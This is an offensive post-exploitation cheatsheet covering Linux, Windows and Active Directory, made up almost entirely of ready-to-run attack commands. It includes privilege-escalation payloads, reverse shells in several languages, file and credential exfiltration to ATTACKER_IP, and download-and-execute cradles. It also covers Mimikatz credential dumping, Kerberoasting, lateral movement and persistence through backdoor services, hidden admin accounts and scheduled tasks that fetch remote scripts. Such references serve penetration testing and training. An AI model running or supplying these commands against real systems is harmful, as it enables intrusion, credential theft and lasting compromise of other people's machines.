Post-Exploitation Cheatsheet

LINUX POST-EXPLOITATION

SHELL STABILIZATION & UPGRADE

▼

First actions after getting low-priv shell - stabilize and upgrade to interactive TTY

Basic shell stabilization:

# Check current shell and upgrade to bash
echo $SHELL
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Alternative methods
script -qc /bin/bash
perl -e 'exec "/bin/bash";'

Full TTY upgrade with proper terminal:

# Set proper environment for stability
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp
export TERM=xterm-256color
export SHELL=/bin/bash
alias ll='ls -lsaht --color=auto'

# Background current shell with Ctrl+Z, then:
stty raw -echo; fg; reset

# Set terminal size
stty rows 50 columns 200
stty size

Check for available tools/compilers:

# Check what's available for exploitation
which gcc cc python python3 perl php ruby node npm
which wget curl nc ncat socat netcat ftp ssh
which tar zip unzip gzip
which vi vim nano ed

# Check kernel version for exploits
uname -a
cat /proc/version

SYSTEM ENUMERATION

▼

Gather system information to identify privilege escalation vectors

# Basic system info
id
whoami
hostname
uname -a
cat /etc/*-release
cat /etc/issue
lsb_release -a 2>/dev/null
cat /proc/version

# User information
cat /etc/passwd
cat /etc/group
who
w
last
lastlog
last -f /var/log/wtmp 2>/dev/null

# Check sudo privileges
sudo -l
sudo -v  # Check if sudo works without password
cat /etc/sudoers 2>/dev/null
ls -la /etc/sudoers.d/ 2>/dev/null

Process and service enumeration:

# Processes
ps aux
ps -ef
ps aux | grep root
ps aux | grep -v "^\["
pstree -p
top -n 1 -b

# Services
systemctl list-units --type=service --state=running
service --status-all 2>/dev/null
chkconfig --list 2>/dev/null

# Cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab
ls -la /var/spool/cron/
ls -la /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly

Network and connections:

# Network configuration
ifconfig
ip a
ip addr show
ip route
route -n
netstat -r

# Active connections
netstat -tulpn
netstat -ano
ss -tulpn
lsof -i

# ARP cache
arp -a
ip neigh show

# DNS
cat /etc/resolv.conf
cat /etc/hosts

File system and installed software:

# Disk usage
df -h
lsblk
fdisk -l 2>/dev/null

# Mounted filesystems
mount
cat /etc/fstab
cat /proc/mounts

# Installed packages
dpkg -l 2>/dev/null  # Debian/Ubuntu
rpm -qa 2>/dev/null  # RHEL/CentOS
pacman -Q 2>/dev/null  # Arch
apk info 2>/dev/null  # Alpine

PRIVILEGE ESCALATION

▼

Systematic privilege escalation techniques for Linux systems

SUID/SGID binaries:

# Find SUID binaries
find / -perm -u=s -type f 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
find / -user root -type f -perm -04000 2>/dev/null

# Find SGID binaries
find / -perm -g=s -type f 2>/dev/null
find / -type f -perm -02000 -ls 2>/dev/null

# Check GTFOBins for exploitation: https://gtfobins.github.io/

# Common exploitable SUID binaries
# find, nano, vim, vi, bash, less, more, awk, man, cp, mv, cat

Capabilities exploitation:

getcap -r / 2>/dev/null

# Exploit examples
# If python has cap_setuid+ep
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# If perl has cap_setuid+ep
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# If tar has CAP_DAC_READ_SEARCH
/usr/bin/tar -cf /dev/null /etc/shadow --checkpoint=1 --checkpoint-action=exec=/bin/sh

Sudo exploitation:

# Check sudo permissions
sudo -l

# LD_PRELOAD exploitation (if env_keep includes LD_PRELOAD)
cat > /tmp/exploit.c << EOF
#include 
#include 
#include 
void _init() {
  unsetenv("LD_PRELOAD");
  setgid(0);
  setuid(0);
  system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/exploit.so /tmp/exploit.c -nostartfiles
sudo LD_PRELOAD=/tmp/exploit.so 

# NOPASSWD exploitation
# If you can run any command without password:
sudo su
sudo bash
sudo sh

File and directory permissions:

# World-writable files
find / -perm -o+w -type f 2>/dev/null | grep -v "/proc/" | grep -v "/sys/"

# World-writable directories
find / -perm -o+w -type d 2>/dev/null | grep -v "/proc/" | grep -v "/sys/"

# Files owned by current user
find / -user $(whoami) -type f 2>/dev/null | head -20

# Check /etc/passwd and /etc/shadow permissions
ls -la /etc/passwd /etc/shadow /etc/group /etc/sudoers

# Writable crontab files
find /etc/cron* -type f -writable 2>/dev/null
find /var/spool/cron -type f -writable 2>/dev/null

Cron job exploitation:

# Wildcard injection in tar cron jobs
cd /path/to/writable/directory
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh
chmod +x shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"

# PATH hijacking in cron jobs
export PATH=/tmp:$PATH
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /tmp/program_name
chmod +x /tmp/program_name

# Overwrite existing cron script
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
# Original script below if needed' > /path/to/cron/script

Kernel exploits (Last resort):

# Check kernel version
uname -a
cat /proc/version

# Common kernel exploits
# DirtyCow (CVE-2016-5195) - Linux 2.6.22 through 4.8.3
# PwnKit (CVE-2021-4034) - Polkit pkexec
# OverlayFS (CVE-2021-3493) - Ubuntu

# Check for available compilers
which gcc
which cc
which make

# Check architecture
arch
uname -m
file /bin/bash

Container escape:

# Check if in container
cat /proc/1/cgroup | grep -i docker
ls -la /.dockerenv
grep -qi docker /proc/self/cgroup

# Docker escape if in docker group
docker run -v /:/mnt -it alpine chroot /mnt sh
docker run --rm -it --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh

# LXD/LXC escape (if in lxd group)
lxc init ubuntu test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash

Password and hash extraction:

# Check for readable shadow file
cat /etc/shadow 2>/dev/null

# Extract hashes for cracking
unshadow /etc/passwd /etc/shadow > /tmp/hashes.txt 2>/dev/null

# Find password files
find / -name "*.kdbx" -o -name "*.kdb" 2>/dev/null  # KeePass
find / -name "*.ovpn" 2>/dev/null  # OpenVPN configs
find / -name "*pass*" -o -name "*cred*" -o -name "*pwd*" 2>/dev/null

FILE TRANSFER & DOWNLOADS

▼

Transfer files to/from the compromised system for tools and exploitation

Download files from attacker:

# Using wget
wget http://ATTACKER_IP:8000/file -O /tmp/file
wget -q http://ATTACKER_IP:8000/file -O /tmp/file

# Using curl
curl http://ATTACKER_IP:8000/file -o /tmp/file
curl -s http://ATTACKER_IP:8000/file -o /tmp/file

# Using netcat (receiver)
nc -lvp 4444 > /tmp/file  # Attacker: nc -w 3 ATTACKER_IP 4444 < file

# Using scp (if SSH is available)
scp user@ATTACKER_IP:/path/to/file /tmp/file

Upload files to attacker:

# Using netcat (sender)
nc -w 3 ATTACKER_IP 4444 < /etc/passwd  # Attacker: nc -lvp 4444 > received

# Using wget POST
# Attacker: python3 -m uploadserver
wget --post-file=/etc/passwd http://ATTACKER_IP:8000/upload

# Using curl
curl -X POST -F 'file=@/etc/passwd' http://ATTACKER_IP:8000/upload

Python HTTP server (from attacker):

# Python 3
python3 -m http.server 8000
python3 -m http.server 8000 --directory /path/to/share

# Python 2
python -m SimpleHTTPServer 8000

# With upload capability
python3 -m uploadserver 8000

Base64 encoding/decoding for small files:

# Encode file to base64
base64 /etc/passwd
cat /etc/passwd | base64

# Decode base64 on target
echo "base64_string_here" | base64 -d > /tmp/file

Create files directly on target:

# Create binary from hexdump
echo "hex_string_here" | xxd -r -p > /tmp/binary

# Create script directly
cat > /tmp/script.sh << 'EOF'
#!/bin/bash
echo "Hello from script"
EOF
chmod +x /tmp/script.sh

CREDENTIAL HUNTING

▼

Search for passwords, keys, and sensitive information on the system

# Search for files containing passwords
find / -type f -exec grep -l -i "password\|pass\|pwd" {} \; 2>/dev/null | head -20
find /home -type f -exec grep -l -i "password" {} \; 2>/dev/null
find /var/www -type f -exec grep -l -i "password" {} \; 2>/dev/null

# Search in config files
find /etc -type f -name "*.conf" -exec grep -l -i "password\|pass\|pwd" {} \; 2>/dev/null
find / -type f \( -name "*.php" -o -name "*.py" -o -name "*.js" \) -exec grep -l -i "password" {} \; 2>/dev/null | head -10

# SSH keys
find / -name "id_rsa" -o -name "id_dsa" -o -name "*.pem" 2>/dev/null
find /home -name "*.ssh" -type d 2>/dev/null | xargs -I {} find {} -name "id_*" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# Database files and configs
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sql" 2>/dev/null
find / -type f -name "wp-config.php" -o -name "config.inc.php" -o -name "configuration.php" 2>/dev/null

# History files
cat ~/.bash_history
cat ~/.zsh_history 2>/dev/null
cat ~/.mysql_history 2>/dev/null
cat ~/.psql_history 2>/dev/null

# Backup files
find / -name "*backup*" -o -name "*.bak" -o -name "*.old" -o -name "*.orig" 2>/dev/null

Check for sensitive environment variables:

env | grep -i "pass\|pwd\|key\|secret\|token"
printenv | grep -i "pass\|pwd\|key\|secret\|token"

# Check for credentials in memory
strings /dev/mem | grep -i "password" 2>/dev/null

Browser credentials (if GUI access):

# Firefox
find /home -name "logins.json" -o -name "key4.db" -o -name "cert9.db" 2>/dev/null

# Chrome/Chromium
find /home -name "Login Data" -o -name "Cookies" -o -name "History" 2>/dev/null

# Decrypt Firefox passwords (if master password not set)
python3 -c "import json, base64, os, sys; \
from Crypto.Cipher import DES3; \
import sqlite3; \
print('Firefox credential extraction')"

REVERSE SHELLS & PIVOTING

▼

Establish better shells and pivot to internal networks

Reverse shells from Linux:

# Bash
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

# Netcat traditional
nc -e /bin/sh ATTACKER_IP PORT
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f

# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# PHP
php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Port forwarding and pivoting:

# SSH port forwarding (if SSH access)
ssh -L 8080:localhost:80 user@TARGET  # Local forward
ssh -R 8080:localhost:80 user@ATTACKER  # Remote forward
ssh -D 1080 user@TARGET  # SOCKS proxy

# Using chisel (need to upload binary)
# On attacker: ./chisel server -p 8080 --reverse
# On target: ./chisel client ATTACKER_IP:8080 R:socks

# Using socat
socat TCP-LISTEN:4444,fork TCP:INTERNAL_IP:3389  # Port forward
socat TCP-LISTEN:4444,fork EXEC:/bin/bash  # Bind shell

Internal network scanning from target:

# Ping sweep
for i in {1..254}; do ping -c 1 192.168.1.$i | grep "64 bytes" & done

# Quick port scan with netcat
for port in {1..1000}; do timeout 1 bash -c "echo >/dev/tcp/192.168.1.1/$port" 2>/dev/null && echo "Port $port is open"; done

# Using nmap if available
nmap -sn 192.168.1.0/24
nmap -p 22,80,443,3389,5985 192.168.1.0/24

AUTOMATED TOOLS & SCRIPTS

▼

Useful post-exploitation scripts and tools

LinPEAS: https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
./linpeas.sh -a  # All checks
./linpeas.sh -s  # Superfast mode

LinEnum: https://github.com/rebootuser/LinEnum

./LinEnum.sh -t -k keyword -r report -e /tmp/ -s

Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
```
./linux-exploit-suggester.sh
./linux-exploit-suggester-2.pl
```
pspy: Monitor processes without root - https://github.com/DominicBreuker/pspy
```
./pspy64
./pspy64 -pf -i 1000
```
LSE (Linux Smart Enumeration): https://github.com/diego-treitos/linux-smart-enumeration
```
./lse.sh -l1  # Level 1 (fast)
./lse.sh -l2  # Level 2 (complete)
```
GTFOBins: SUID/Sudo exploitation reference - https://gtfobins.github.io/
Traitor: Auto find and exploit - https://github.com/liamg/traitor
```
./traitor -a
```
unix-privesc-check: https://github.com/pentestmonkey/unix-privesc-check
```
./unix-privesc-check standard
./unix-privesc-check detailed
```

WINDOWS POST-EXPLOITATION

SYSTEM ENUMERATION

▼

Gather Windows system information and identify privilege escalation vectors

# Basic system information
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
hostname
whoami
whoami /all
whoami /priv
whoami /groups

# User and group information
net user
net user %USERNAME%
net user /domain  # If domain joined
net localgroup
net localgroup administrators
net group "Domain Admins" /domain  # Domain only
net group "Domain Users" /domain   # Domain only

# Network information
ipconfig /all
ipconfig /displaydns
route print
arp -a
netstat -ano
netstat -an | findstr LISTENING
netsh firewall show state
netsh advfirewall firewall show rule name=all

Process and service enumeration:

# Processes
tasklist /svc
tasklist /V
tasklist /FI "USERNAME eq SYSTEM"
wmic process get name,processid,parentprocessid,commandline

# Services
sc query
sc query state= all
sc qc [service_name]
wmic service get name,displayname,pathname,startmode
Get-WmiObject -Class Win32_Service | Select-Object Name,DisplayName,PathName,StartMode

# Scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /tn [task_name] /fo list /v
Get-ScheduledTask | Select TaskName,State

File system and registry checks:

# Drive information
wmic logicaldisk get caption,description,providername
fsutil fsinfo drives

# Installed software
wmic product get name,version
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
dir "C:\Program Files", "C:\Program Files (x86)" /b

# Check architecture
echo %PROCESSOR_ARCHITECTURE%
wmic os get osarchitecture

PowerShell enumeration:

Get-Process | Select-Object ProcessName,Id,SessionId,Path
Get-Service | Where-Object {$_.Status -eq "Running"}
Get-NetIPAddress | Select-Object IPAddress,InterfaceAlias
Get-NetTCPConnection | Where-Object {$_.State -eq "Listen"}
Get-ChildItem -Path C:\ -Include *.txt,*.config,*.xml -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password" | Select-Object -First 10
Get-WmiObject -Class Win32_UserAccount | Select-Object Name,Disabled,Lockout,SID

PRIVILEGE ESCALATION

▼

Windows privilege escalation techniques and misconfigurations

Check user privileges:

whoami /priv
# Look for:
# SeImpersonatePrivilege      -> PrintSpoofer, JuicyPotato
# SeAssignPrimaryTokenPrivilege -> RottenPotato
# SeDebugPrivilege            -> Mimikatz, Procdump
# SeBackupPrivilege           -> Diskshadow
# SeRestorePrivilege          -> Replace utilman.exe
# SeLoadDriverPrivilege       -> Capcom.sys
# SeTakeOwnershipPrivilege    -> File ownership
# SeTcbPrivilege              -> Act as part of OS
# SeCreateTokenPrivilege      -> Create tokens

Unquoted service paths:

wmic service get name,displayname,pathname,startmode | findstr /i auto | findstr /v /i "C:\Windows\\" | findstr /i /v "\""

# PowerShell version
Get-WmiObject -Class Win32_Service | Select-Object Name,DisplayName,PathName,StartMode | Where-Object {$_.PathName -notlike '"*' -and $_.PathName -like '* *'}

Weak service permissions:

# Using accesschk.exe (Sysinternals)
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv %USERNAME% *
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv Users *

# Using sc.exe
sc qc [service_name]
sc sdshow [service_name]

# Check for writable service binaries
for /f "tokens=2 delims='='" %i in ('wmic service get name /value') do @for /f "delims='='" %j in ('wmic service where "name='%i'" get pathname /value') do @echo %i & @echo %j & @icacls "%j" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /v ":\\"

AlwaysInstallElevated registry check:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# If both return 0x1, create malicious MSI:
# On attacker: msfvenom -p windows/adduser USER=backdoor PASS=Backdoor123! -f msi -o setup.msi
# On target: msiexec /quiet /qn /i setup.msi

DLL Hijacking and PATH issues:

# Check PATH environment variable
echo %PATH%
path

# Look for writable directories in PATH
for %i in (%PATH:;=";"%) do @echo %i && icacls "%i" 2>nul | findstr "(W) (M) (F)"

# Common DLL hijacking targets
# wlbsctrl.dll (IIS)
# CRYPTBASE.dll
# PROPSYS.dll

SAM/SYSTEM hive extraction:

# Manual extraction
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
reg save HKLM\SECURITY security.hive

# Using PowerShell
Copy-Item C:\Windows\System32\config\SAM C:\Users\Public\sam.save
Copy-Item C:\Windows\System32\config\SYSTEM C:\Users\Public\system.save

# Using Volume Shadow Copy (if SeBackupPrivilege)
diskshadow /s script.txt
# In script.txt: set context persistent nowriters, create shadow, expose shadow c:

Privilege exploitation tools table:

Privilege	Tool/Exploit	GitHub
SeImpersonatePrivilege	PrintSpoofer	github.com/itm4n/PrintSpoofer
SeImpersonatePrivilege	JuicyPotato	github.com/ohpe/juicy-potato
SeAssignPrimaryToken	RottenPotatoNG	github.com/breenmachine/RottenPotatoNG
SeDebugPrivilege	Mimikatz	github.com/gentilkiwi/mimikatz
SeLoadDriverPrivilege	Capcom.sys exploit	github.com/tandasat/ExploitCapcom
SeBackupPrivilege	Diskshadow	Built-in
SeRestorePrivilege	Utilman.exe replace	Manual technique
SeTakeOwnershipPrivilege	takeown + icacls	Built-in

Kernel exploits (check before running):

# Check Windows version
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic os get caption,version,buildnumber

# Common kernel exploits
# EternalBlue (MS17-010) - Windows 7/2008
# SMBGhost (CVE-2020-0796) - Windows 10 v1903/1909
# PrintNightmare (CVE-2021-1675) - Print Spooler
# Zerologon (CVE-2020-1472) - Domain Controllers

# Windows Exploit Suggester
# https://github.com/AonCyberLabs/Windows-Exploit-Suggester

FILE TRANSFER & DOWNLOADS

▼

Transfer files to/from Windows systems for tools and exploitation

PowerShell downloads:

# PowerShell v3+ (Windows 8/2012+)
powershell -c "Invoke-WebRequest -Uri 'http://ATTACKER/file.exe' -OutFile 'C:\Windows\Temp\file.exe'"
powershell -c "(New-Object Net.WebClient).DownloadFile('http://ATTACKER/file.exe','file.exe')"
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')"

# PowerShell one-liner with bypass
powershell -exec bypass -c "(New-Object Net.WebClient).DownloadFile('http://ATTACKER/file.exe','file.exe')"
powershell -nop -exec bypass -c "iwr http://ATTACKER/file.exe -OutFile file.exe"

# Bitsadmin (built-in)
bitsadmin /transfer job /download /priority high http://ATTACKER/file.exe C:\Windows\Temp\file.exe

CertUtil (built-in Windows):

certutil -urlcache -split -f http://ATTACKER/file.exe file.exe
certutil -urlcache -f http://ATTACKER/file.exe file.exe

# Using certutil to encode/decode (for bypassing restrictions)
certutil -encode input.exe encoded.txt
# On target: certutil -decode encoded.txt output.exe

SMB file transfer:

# From Windows to Windows
copy \\ATTACKER\share\file.exe C:\Windows\Temp\file.exe

# Map network drive
net use Z: \\ATTACKER\share
copy Z:\file.exe C:\Windows\Temp\
net use Z: /delete

FTP transfer:

# Create FTP script
echo open ATTACKER_IP 21> ftp.txt
echo USER anonymous>> ftp.txt
echo anonymous>> ftp.txt
echo bin>> ftp.txt
echo GET file.exe>> ftp.txt
echo bye>> ftp.txt
ftp -s:ftp.txt

# PowerShell FTP
powershell -c "(New-Object Net.WebClient).DownloadFile('ftp://ATTACKER/file.exe','file.exe')"

VBScript downloader:

echo Set x=CreateObject("Microsoft.XMLHTTP") > dl.vbs
echo x.Open "GET","http://ATTACKER/file.exe",0 >> dl.vbs
echo x.Send >> dl.vbs
echo Set s=CreateObject("ADODB.Stream") >> dl.vbs
echo s.Type=1 >> dl.vbs
echo s.Open >> dl.vbs
echo s.Write x.ResponseBody >> dl.vbs
echo s.SaveToFile "file.exe",2 >> dl.vbs
cscript dl.vbs

Base64 encoding/decoding:

# PowerShell base64 encode file
[Convert]::ToBase64String([IO.File]::ReadAllBytes("file.exe")) > encoded.txt

# PowerShell base64 decode
[IO.File]::WriteAllBytes("file.exe", [Convert]::FromBase64String("base64_string_here"))

# CertUtil base64
certutil -encode input.exe encoded.txt
certutil -decode encoded.txt output.exe

ACTIVE DIRECTORY ENUMERATION

▼

Active Directory enumeration after obtaining domain user access

Basic domain enumeration:

# Domain information
net view /domain
net view /domain:DOMAIN_NAME
nltest /domain_trusts
nltest /dclist:DOMAIN_NAME

# Domain users and groups
net user /domain
net group /domain
net group "Domain Admins" /domain
net group "Domain Users" /domain
net group "Enterprise Admins" /domain
net group "Schema Admins" /domain

# Computers in domain
net view /domain:DOMAIN_NAME
net group "Domain Computers" /domain

PowerShell AD enumeration:

# Using AD module (if installed)
Get-ADDomain
Get-ADDomainController
Get-ADUser -Filter * | Select-Object SamAccountName
Get-ADGroup -Filter * | Select-Object Name
Get-ADGroupMember -Identity "Domain Admins"
Get-ADComputer -Filter * | Select-Object Name

# Using .NET classes
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).DomainControllers

BloodHound/SharpHound collection:

# SharpHound collection
SharpHound.exe -c All --zipfilename bloodhound.zip
SharpHound.exe -c Group,LocalGroup,Sessions,LoggedOn,Trusts --zipfilename quick.zip
SharpHound.exe --CollectionMethod DCOnly

# BloodHound Python (from attacker)
bloodhound-python -d DOMAIN -u USER -p 'PASSWORD' -ns DC_IP -c All
bloodhound-python -d DOMAIN -u USER -p 'PASSWORD' -dc DC_NAME -c All

Kerberos attacks (from compromised system):

# Kerberoasting (TGS-REP)
# Using Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe kerberoast /user:svc_account /outfile:hash.txt

# Using PowerShell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dc.domain.local"

# AS-REP Roasting
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

Lateral movement techniques:

# PsExec (Sysinternals)
PsExec.exe \\TARGET -u DOMAIN\USER -p PASSWORD cmd.exe
PsExec.exe \\TARGET -u DOMAIN\USER -p PASSWORD -s cmd.exe  # SYSTEM

# WMI execution
wmic /node:TARGET /user:DOMAIN\USER /password:PASSWORD process call create "cmd.exe /c whoami"
wmic /node:TARGET process call create "cmd.exe /c ipconfig"

# WinRM (if enabled)
winrs -r:TARGET -u:DOMAIN\USER -p:PASSWORD cmd
Enter-PSSession -ComputerName TARGET -Credential DOMAIN\USER

# Scheduled task
schtasks /create /s TARGET /u DOMAIN\USER /p PASSWORD /tn "Task" /tr "cmd.exe /c whoami" /sc once /st 00:00
schtasks /run /s TARGET /u DOMAIN\USER /p PASSWORD /tn "Task"

CREDENTIAL DUMPING & EXTRACTION

▼

Extract credentials, hashes, and tickets from Windows systems

Mimikatz (requires admin/System):

# Dump LSASS memory
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets /export

# Dump SAM
token::elevate
lsadump::sam

# Dump LSA secrets
lsadump::secrets

# Dump DC hashes (DCSync)
lsadump::dcsync /domain:DOMAIN /all /csv

# Pass the hash
sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:HASH /run:cmd.exe

Procdump + Mimikatz (alternative):

# Dump LSASS with procdump (Microsoft signed)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Analyze dump with mimikatz
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

Registry credential extraction:

# SAM and SYSTEM hives
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save

# Extract with secretsdump.py (on attacker)
# python3 secretsdump.py -sam sam.save -system system.save LOCAL

# Check for saved credentials
cmdkey /list
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*
dir /a %USERPROFILE%\AppData\Roaming\Microsoft\Credentials\*

Search for credentials in files:

findstr /si password *.txt *.xml *.ini *.config
findstr /spin "password" *.*
findstr /si "pwd\|pass\|login\|user" *.txt *.xml *.ini *.config *.vbs *.bat

# PowerShell search
Get-ChildItem -Path C:\ -Include *.txt,*.xml,*.ini,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password" | Select-Object -First 20

Browser credential extraction:

# Chrome passwords
# Location: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data

# Firefox passwords
# Location: %APPDATA%\Mozilla\Firefox\Profiles\*.default-release\logins.json
# With key4.db and cert9.db

# Tools for extraction
# LaZagne: https://github.com/AlessandroZ/LaZagne
# SharpChromium: https://github.com/djhohnstein/SharpChromium

DPAPI credential extraction:

# Using Mimikatz
dpapi::cred /in:"C:\Users\USER\AppData\Local\Microsoft\Credentials\*"

# Using SharpDPAPI
SharpDPAPI.exe credentials
SharpDPAPI.exe certificates
SharpDPAPI.exe vaults

PERSISTENCE & MAINTAINING ACCESS

▼

Techniques to maintain access to compromised Windows systems

Registry persistence:

# Current user run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"

# Local machine run key (requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"

# RunOnce keys
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"

# Services (requires admin)
sc create Backdoor binPath= "C:\Windows\Temp\backdoor.exe" start= auto
sc start Backdoor

Scheduled tasks:

# Create scheduled task (admin for SYSTEM)
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc onstart /ru SYSTEM
schtasks /create /tn "BackupTask" /tr "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/rev.ps1')" /sc minute /mo 5

# Trigger task
schtasks /run /tn "WindowsUpdate"

# PowerShell scheduled task
Register-ScheduledTask -TaskName "Maintenance" -Trigger (New-ScheduledTaskTrigger -AtStartup) -Action (New-ScheduledTaskAction -Execute "C:\Windows\Temp\backdoor.exe") -RunLevel Highest

New user creation:

# Local user
net user backdoor Backdoor123! /add
net localgroup administrators backdoor /add

# Domain user (if domain admin)
net user backdoor Backdoor123! /add /domain
net group "Domain Admins" backdoor /add /domain

# Hidden user (add $ to name)
net user backdoor$ Backdoor123! /add
net localgroup administrators backdoor$ /add

Backdoor services:

# Create new service
sc create "WindowsUpdateService" binPath= "C:\Windows\Temp\backdoor.exe" start= auto
sc start WindowsUpdateService

# Modify existing service
sc config "SomeService" binPath= "C:\Windows\Temp\backdoor.exe"
sc stop SomeService
sc start SomeService

Startup folder:

# Current user startup
copy backdoor.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"

# All users startup (requires admin)
copy backdoor.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

WMI event subscription:

# Create WMI event trigger
$FilterArgs = @{name='BackdoorFilter';
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=New-Object Management.ManagementEventWatcher($FilterArgs)

# Requires more setup but very stealthy

AUTOMATED TOOLS & SCRIPTS

▼

Useful Windows post-exploitation tools and scripts

WinPEAS: https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
```
winpeas.exe
winpeas.exe quiet
winpeas.exe notcolor
```

PowerUp.ps1: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1'); Invoke-AllChecks"

Seatbelt: https://github.com/GhostPack/Seatbelt

Seatbelt.exe -group=all
Seatbelt.exe -group=system
Seatbelt.exe UserFolderPermissions

SharpHound: AD enumeration - https://github.com/BloodHoundAD/SharpHound
```
SharpHound.exe -c All
SharpHound.exe --CollectionMethod DCOnly
```

Rubeus: Kerberos exploitation - https://github.com/GhostPack/Rubeus

Rubeus.exe kerberoast
Rubeus.exe asreproast
Rubeus.exe harvest /interval:30

Mimikatz: Credential extraction - https://github.com/gentilkiwi/mimikatz
```
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
```
LaZagne: Password recovery - https://github.com/AlessandroZ/LaZagne
```
laZagne.exe all
laZagne.exe browsers
```
SharpDPAPI: DPAPI extraction - https://github.com/GhostPack/SharpDPAPI
```
SharpDPAPI.exe credentials
SharpDPAPI.exe certificates
```

Windows Exploit Suggester: https://github.com/AonCyberLabs/Windows-Exploit-Suggester

# First: systeminfo > sysinfo.txt on target
# Then on attacker: windows-exploit-suggester.py --database 2021-06-10-mssb.xlsx --systeminfo sysinfo.txt

PowerView: AD enumeration - https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1'); Get-NetDomain"